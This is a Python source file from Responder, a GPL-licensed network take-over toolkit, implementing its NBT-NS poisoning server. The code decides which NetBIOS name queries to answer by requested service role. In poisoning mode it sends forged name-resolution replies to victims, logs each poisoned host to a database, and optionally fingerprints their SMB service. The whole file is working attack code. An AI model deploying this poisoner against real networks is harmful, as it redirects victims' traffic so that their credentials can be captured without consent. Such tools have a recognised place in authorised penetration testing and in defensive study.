#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools 
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import fingerprint
import sys
from packets import NBT_Ans
from utils import *

if (sys.version_info > (3, 0)):
	from socketserver import BaseRequestHandler
else:
	from SocketServer import BaseRequestHandler

# Define what are we answering to.
def Validate_NBT_NS(data):
	print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
	if settings.Config.AnalyzeMode:
		return False
	elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
		return True
	elif settings.Config.NBTNSDomain:
		if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
			return True
	elif settings.Config.Wredirect:
		if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
			return True
	return False

# NBT_NS Server class.
class NBTNS(BaseRequestHandler):

	def handle(self):

		data, socket = self.request
		Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
		# Break out if we don't want to respond to this host
		if RespondToThisHost(self.client_address[0], Name) is not True:
			return None

		if data[2:4] == b'\x01\x10':
			Finger = None
			if settings.Config.Finger_On_Off:
				Finger = fingerprint.RunSmbFinger((self.client_address[0],445))

			if settings.Config.AnalyzeMode:  # Analyze Mode
				LineHeader = "[Analyze mode: NBT-NS]"
				print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
				SavePoisonersToDb({
							'Poisoner': 'NBT-NS', 
							'SentToIp': self.client_address[0], 
							'ForName': Name,
							'AnalyzeMode': '1',
						})
			else:  # Poisoning Mode
				Buffer1 = NBT_Ans()
				Buffer1.calculate(data)
				socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
				LineHeader = "[*] [NBT-NS]"
				print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
				SavePoisonersToDb({
							'Poisoner': 'NBT-NS', 
							'SentToIp': self.client_address[0], 
							'ForName': Name,
							'AnalyzeMode': '0',
						})

			if Finger is not None:
				print(text("[FINGER] OS Version     : %s" % color(Finger[0], 3)))
				print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))